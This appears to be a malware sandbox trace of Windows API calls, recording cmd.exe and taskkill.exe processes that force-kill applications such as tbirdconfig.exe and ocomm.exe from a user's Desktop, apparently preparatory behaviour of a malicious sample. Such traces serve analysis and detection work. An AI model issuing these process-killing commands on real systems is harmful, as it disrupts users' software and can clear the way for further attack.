	[0040.998] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0040.998] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0040.998] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0040.998] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0040.998] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0040.998] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0040.998] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0040.998] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0040.998] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0040.998] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0040.998] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0040.998] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0040.998] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0040.998] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0040.998] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0040.998] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0040.998] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0040.998] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0040.998] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0040.999] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0040.999] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0040.999] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0040.999] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0040.999] GetProcessHeap () returned 0x570000
	[0040.999] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x570a10 | out: hHeap=0x570000) returned 1
	[0040.999] GetProcessHeap () returned 0x570000
	[0040.999] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xa) returned 0x57fee8
	[0040.999] lstrcmpW (lpString1="\\taskkill.exe", lpString2="\\XCOPY.EXE") returned -1
	[0041.000] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\taskkill.exe", lpCommandLine="taskkill  /f /im tbirdconfig.exe ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x46f2b4*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="taskkill  /f /im tbirdconfig.exe ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x46f300 | out: lpCommandLine="taskkill  /f /im tbirdconfig.exe ", lpProcessInformation=0x46f300*(hProcess=0x78, hThread=0x74, dwProcessId=0xa38, dwThreadId=0xa8c)) returned 1
	[0041.005] CloseHandle (hObject=0x74) returned 1
	[0041.005] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0041.005] GetProcessHeap () returned 0x570000
	[0041.005] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x585ed8 | out: hHeap=0x570000) returned 1
	[0041.005] GetEnvironmentStringsW () returned 0x594a50*
	[0041.005] GetProcessHeap () returned 0x570000
	[0041.005] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xb36) returned 0x584098
	[0041.006] FreeEnvironmentStringsW (penv=0x594a50) returned 1
	[0041.006] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0041.297] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x46f1f4 | out: lpExitCode=0x46f1f4*=0x80) returned 1
	[0041.298] CloseHandle (hObject=0x78) returned 1
	[0041.298] _vsnwprintf (in: _Buffer=0x46f33c, _BufferCount=0x13, _Format="%08X", _ArgList=0x46f200 | out: _Buffer="00000080") returned 8
	[0041.298] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1
	[0041.298] GetProcessHeap () returned 0x570000
	[0041.298] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x584098 | out: hHeap=0x570000) returned 1
	[0041.298] GetEnvironmentStringsW () returned 0x584098*
	[0041.298] GetProcessHeap () returned 0x570000
	[0041.298] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xb5c) returned 0x585ed8
	[0041.298] FreeEnvironmentStringsW (penv=0x584098) returned 1
	[0041.298] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0041.298] GetProcessHeap () returned 0x570000
	[0041.298] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x585ed8 | out: hHeap=0x570000) returned 1
	[0041.298] GetEnvironmentStringsW () returned 0x584098*
	[0041.298] GetProcessHeap () returned 0x570000
	[0041.299] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xb5c) returned 0x585ed8
	[0041.299] FreeEnvironmentStringsW (penv=0x584098) returned 1
	[0041.299] GetProcessHeap () returned 0x570000
	[0041.299] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57fee8 | out: hHeap=0x570000) returned 1
	[0041.299] DeleteProcThreadAttributeList (in: lpAttributeList=0x46f258 | out: lpAttributeList=0x46f258) 
	[0041.299] _get_osfhandle (_FileHandle=1) returned 0xc0
	[0041.299] SetConsoleMode (hConsoleHandle=0xc0, dwMode=0x0) returned 0
	[0041.299] _get_osfhandle (_FileHandle=1) returned 0xc0
	[0041.299] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x49e541ac | out: lpMode=0x49e541ac) returned 0
	[0041.299] _get_osfhandle (_FileHandle=0) returned 0xbc
	[0041.299] GetConsoleMode (in: hConsoleHandle=0xbc, lpMode=0x49e541b0 | out: lpMode=0x49e541b0) returned 0
	[0041.299] GetConsoleOutputCP () returned 0x1b5
	[0041.299] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49e54260 | out: lpCPInfo=0x49e54260) returned 1
	[0041.299] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0041.300] exit (_Code=128) 

Process:
	id = "39"
	image_name = "taskkill.exe"
	filename = "c:\\windows\\syswow64\\taskkill.exe"
	page_root = "0x4a6ae000"
	os_pid = "0xa38"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "38"
	os_parent_pid = "0xa70"
	cmd_line = "taskkill  /f /im tbirdconfig.exe "
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 203
	os_tid = 0xa8c


Thread:
	id = 204
	os_tid = 0xa88


Thread:
	id = 205
	os_tid = 0xa84


Thread:
	id = 206
	os_tid = 0xa7c


Thread:
	id = 207
	os_tid = 0xad4


Process:
	id = "40"
	image_name = "cmd.exe"
	filename = "c:\\windows\\syswow64\\cmd.exe"
	page_root = "0x4b464000"
	os_pid = "0xa2c"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xad8"
	cmd_line = "cmd.exe /c \"taskkill /f /im ocomm.exe \""
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 208
	os_tid = 0xae4

	[0041.379] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x3af914 | out: lpSystemTimeAsFileTime=0x3af914*(dwLowDateTime=0xfe4e8b90, dwHighDateTime=0x1d52dc4)) 
	[0041.379] GetCurrentProcessId () returned 0xa2c
	[0041.379] GetCurrentThreadId () returned 0xae4
	[0041.379] GetTickCount () returned 0x1a91a
	[0041.379] QueryPerformanceCounter (in: lpPerformanceCount=0x3af90c | out: lpPerformanceCount=0x3af90c*=16168950619) returned 1
	[0041.381] GetModuleHandleA (lpModuleName=0x0) returned 0x4a300000
	[0041.381] __set_app_type (_Type=0x1) 
	[0041.381] __p__fmode () returned 0x74eb31f4
	[0041.381] __p__commode () returned 0x74eb31fc
	[0041.381] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a3221a6) returned 0x0
	[0041.381] __getmainargs (in: _Argc=0x4a324238, _Argv=0x4a324240, _Env=0x4a32423c, _DoWildCard=0, _StartInfo=0x4a324140 | out: _Argc=0x4a324238, _Argv=0x4a324240, _Env=0x4a32423c) returned 0
	[0041.381] GetCurrentThreadId () returned 0xae4
	[0041.381] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xae4) returned 0x60
	[0041.382] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0041.382] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadUILanguage") returned 0x76c4a84f
	[0041.382] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0041.382] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0041.382] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x3af8a4 | out: phkResult=0x3af8a4*=0x0) returned 0x2
	[0041.382] VirtualQuery (in: lpAddress=0x3af8db, lpBuffer=0x3af874, dwLength=0x1c | out: lpBuffer=0x3af874*(BaseAddress=0x3af000, AllocationBase=0x2b0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0041.382] VirtualQuery (in: lpAddress=0x2b0000, lpBuffer=0x3af874, dwLength=0x1c | out: lpBuffer=0x3af874*(BaseAddress=0x2b0000, AllocationBase=0x2b0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c
	[0041.382] VirtualQuery (in: lpAddress=0x2b1000, lpBuffer=0x3af874, dwLength=0x1c | out: lpBuffer=0x3af874*(BaseAddress=0x2b1000, AllocationBase=0x2b0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c
	[0041.382] VirtualQuery (in: lpAddress=0x2b3000, lpBuffer=0x3af874, dwLength=0x1c | out: lpBuffer=0x3af874*(BaseAddress=0x2b3000, AllocationBase=0x2b0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0041.382] VirtualQuery (in: lpAddress=0x3b0000, lpBuffer=0x3af874, dwLength=0x1c | out: lpBuffer=0x3af874*(BaseAddress=0x3b0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xc0000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c
	[0041.382] GetConsoleOutputCP () returned 0x1b5
	[0041.382] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a324260 | out: lpCPInfo=0x4a324260) returned 1
	[0041.383] SetConsoleCtrlHandler (HandlerRoutine=0x4a31e72a, Add=1) returned 1
	[0041.383] _get_osfhandle (_FileHandle=1) returned 0xbc
	[0041.383] SetConsoleMode (hConsoleHandle=0xbc, dwMode=0x0) returned 0
	[0041.383] _get_osfhandle (_FileHandle=1) returned 0xbc
	[0041.383] GetConsoleMode (in: hConsoleHandle=0xbc, lpMode=0x4a3241ac | out: lpMode=0x4a3241ac) returned 0
	[0041.383] _get_osfhandle (_FileHandle=0) returned 0xb8
	[0041.383] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a3241b0 | out: lpMode=0x4a3241b0) returned 0
	[0041.383] GetEnvironmentStringsW () returned 0x4c2000*
	[0041.383] GetProcessHeap () returned 0x4b0000
	[0041.383] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0xaca) returned 0x4c2ad8
	[0041.383] FreeEnvironmentStringsW (penv=0x4c2000) returned 1
	[0041.383] GetProcessHeap () returned 0x4b0000
	[0041.384] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x4) returned 0x4c0c38
	[0041.384] GetEnvironmentStringsW () returned 0x4c2000*
	[0041.384] GetProcessHeap () returned 0x4b0000
	[0041.384] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0xaca) returned 0x4c35b0
	[0041.384] FreeEnvironmentStringsW (penv=0x4c2000) returned 1
	[0041.384] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x3ae814 | out: phkResult=0x3ae814*=0x68) returned 0x0
	[0041.384] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x3ae81c, lpData=0x3ae820, lpcbData=0x3ae818*=0x1000 | out: lpType=0x3ae81c*=0x0, lpData=0x3ae820*=0x0, lpcbData=0x3ae818*=0x1000) returned 0x2
	[0041.384] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x3ae81c, lpData=0x3ae820, lpcbData=0x3ae818*=0x1000 | out: lpType=0x3ae81c*=0x4, lpData=0x3ae820*=0x1, lpcbData=0x3ae818*=0x4) returned 0x0
	[0041.384] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x3ae81c, lpData=0x3ae820, lpcbData=0x3ae818*=0x1000 | out: lpType=0x3ae81c*=0x0, lpData=0x3ae820*=0x1, lpcbData=0x3ae818*=0x1000) returned 0x2
	[0041.384] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x3ae81c, lpData=0x3ae820, lpcbData=0x3ae818*=0x1000 | out: lpType=0x3ae81c*=0x4, lpData=0x3ae820*=0x0, lpcbData=0x3ae818*=0x4) returned 0x0
	[0041.384] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x3ae81c, lpData=0x3ae820, lpcbData=0x3ae818*=0x1000 | out: lpType=0x3ae81c*=0x4, lpData=0x3ae820*=0x40, lpcbData=0x3ae818*=0x4) returned 0x0
	[0041.384] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x3ae81c, lpData=0x3ae820, lpcbData=0x3ae818*=0x1000 | out: lpType=0x3ae81c*=0x4, lpData=0x3ae820*=0x40, lpcbData=0x3ae818*=0x4) returned 0x0
	[0041.384] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x3ae81c, lpData=0x3ae820, lpcbData=0x3ae818*=0x1000 | out: lpType=0x3ae81c*=0x0, lpData=0x3ae820*=0x40, lpcbData=0x3ae818*=0x1000) returned 0x2
	[0041.384] RegCloseKey (hKey=0x68) returned 0x0
	[0041.384] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x3ae814 | out: phkResult=0x3ae814*=0x68) returned 0x0
	[0041.384] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x3ae81c, lpData=0x3ae820, lpcbData=0x3ae818*=0x1000 | out: lpType=0x3ae81c*=0x0, lpData=0x3ae820*=0x40, lpcbData=0x3ae818*=0x1000) returned 0x2
	[0041.384] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x3ae81c, lpData=0x3ae820, lpcbData=0x3ae818*=0x1000 | out: lpType=0x3ae81c*=0x4, lpData=0x3ae820*=0x1, lpcbData=0x3ae818*=0x4) returned 0x0
	[0041.385] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x3ae81c, lpData=0x3ae820, lpcbData=0x3ae818*=0x1000 | out: lpType=0x3ae81c*=0x0, lpData=0x3ae820*=0x1, lpcbData=0x3ae818*=0x1000) returned 0x2
	[0041.385] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x3ae81c, lpData=0x3ae820, lpcbData=0x3ae818*=0x1000 | out: lpType=0x3ae81c*=0x4, lpData=0x3ae820*=0x0, lpcbData=0x3ae818*=0x4) returned 0x0
	[0041.385] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x3ae81c, lpData=0x3ae820, lpcbData=0x3ae818*=0x1000 | out: lpType=0x3ae81c*=0x4, lpData=0x3ae820*=0x9, lpcbData=0x3ae818*=0x4) returned 0x0
	[0041.385] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x3ae81c, lpData=0x3ae820, lpcbData=0x3ae818*=0x1000 | out: lpType=0x3ae81c*=0x4, lpData=0x3ae820*=0x9, lpcbData=0x3ae818*=0x4) returned 0x0
	[0041.385] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x3ae81c, lpData=0x3ae820, lpcbData=0x3ae818*=0x1000 | out: lpType=0x3ae81c*=0x0, lpData=0x3ae820*=0x9, lpcbData=0x3ae818*=0x1000) returned 0x2
	[0041.385] RegCloseKey (hKey=0x68) returned 0x0
	[0041.385] time (in: timer=0x0 | out: timer=0x0) returned 0x5d163032
	[0041.385] srand (_Seed=0x5d163032) 
	[0041.385] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im ocomm.exe \""
	[0041.385] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im ocomm.exe \""
	[0041.385] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a325260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0041.385] GetProcessHeap () returned 0x4b0000
	[0041.385] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x210) returned 0x4c2000
	[0041.385] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x4c2008, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b
	[0041.385] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a330640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0041.385] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a330640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0041.385] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a330640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0041.386] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0041.386] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0041.386] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0041.386] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0041.386] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0041.386] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0041.386] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0041.386] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0041.386] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0041.386] GetProcessHeap () returned 0x4b0000
	[0041.386] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c2ad8 | out: hHeap=0x4b0000) returned 1
	[0041.386] GetEnvironmentStringsW () returned 0x4c2218*
	[0041.386] GetProcessHeap () returned 0x4b0000
	[0041.386] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0xae2) returned 0x4c4b78
	[0041.386] FreeEnvironmentStringsW (penv=0x4c2218) returned 1
	[0041.386] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a330640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0041.386] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a330640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0041.386] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0041.386] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0041.386] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0041.386] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0041.386] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0041.386] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0041.386] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0041.386] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0041.387] GetProcessHeap () returned 0x4b0000
	[0041.387] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x54) returned 0x4c5668
	[0041.387] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x3af5e0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0041.387] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x3af5e0, lpFilePart=0x3af5dc | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x3af5dc*="Desktop") returned 0x25
	[0041.387] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0041.387] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x3af35c | out: lpFindFileData=0x3af35c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x4c1e80
	[0041.387] FindClose (in: hFindFile=0x4c1e80 | out: hFindFile=0x4c1e80) returned 1
	[0041.387] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x3af35c | out: lpFindFileData=0x3af35c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x4c1e80
	[0041.387] FindClose (in: hFindFile=0x4c1e80 | out: hFindFile=0x4c1e80) returned 1
	[0041.387] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20
	[0041.387] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x3af35c | out: lpFindFileData=0x3af35c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf321cc00, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xf321cc00, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x4c1e80
	[0041.387] FindClose (in: hFindFile=0x4c1e80 | out: hFindFile=0x4c1e80) returned 1
	[0041.387] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0041.387] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1
	[0041.388] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1
	[0041.388] GetProcessHeap () returned 0x4b0000
	[0041.388] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c4b78 | out: hHeap=0x4b0000) returned 1
	[0041.388] GetEnvironmentStringsW () returned 0x4c4088*
	[0041.388] GetProcessHeap () returned 0x4b0000
	[0041.388] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0xb36) returned 0x4c5ec8
	[0041.388] FreeEnvironmentStringsW (penv=0x4c4088) returned 1
	[0041.388] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a325260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0041.388] GetProcessHeap () returned 0x4b0000
	[0041.388] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c5668 | out: hHeap=0x4b0000) returned 1
	[0041.388] GetProcessHeap () returned 0x4b0000
	[0041.388] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x400e) returned 0x4c6a08
	[0041.388] GetProcessHeap () returned 0x4b0000
	[0041.388] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x46) returned 0x4c1e80
	[0041.388] GetProcessHeap () returned 0x4b0000
	[0041.388] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x4008) returned 0x4caa20
	[0041.389] GetProcessHeap () returned 0x4b0000
	[0041.389] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x4008) returned 0x4cea30
	[0041.390] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0041.391] GetProcessHeap () returned 0x4b0000
	[0041.391] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x418) returned 0x4c2d58
	[0041.391] SetErrorMode (uMode=0x0) returned 0x8003
	[0041.391] SetErrorMode (uMode=0x1) returned 0x0
	[0041.391] GetFullPathNameW (in: lpFileName="taskkill \\f \\.", nBufferLength=0x208, lpBuffer=0x4c2d60, lpFilePart=0x3af558 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f", lpFilePart=0x3af558*="f") returned 0x31
	[0041.391] SetErrorMode (uMode=0x8003) returned 0x1
	[0041.391] GetProcessHeap () returned 0x4b0000
	[0041.391] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c2d58, Size=0x88) returned 0x4c2d58
	[0041.391] GetProcessHeap () returned 0x4b0000
	[0041.391] RtlSizeHeap (HeapHandle=0x4b0000, Flags=0x0, MemoryPointer=0x4c2d58) returned 0x88
	[0041.391] NeedCurrentDirectoryForExePathW (ExeName="taskkill \\f \\.") returned 1
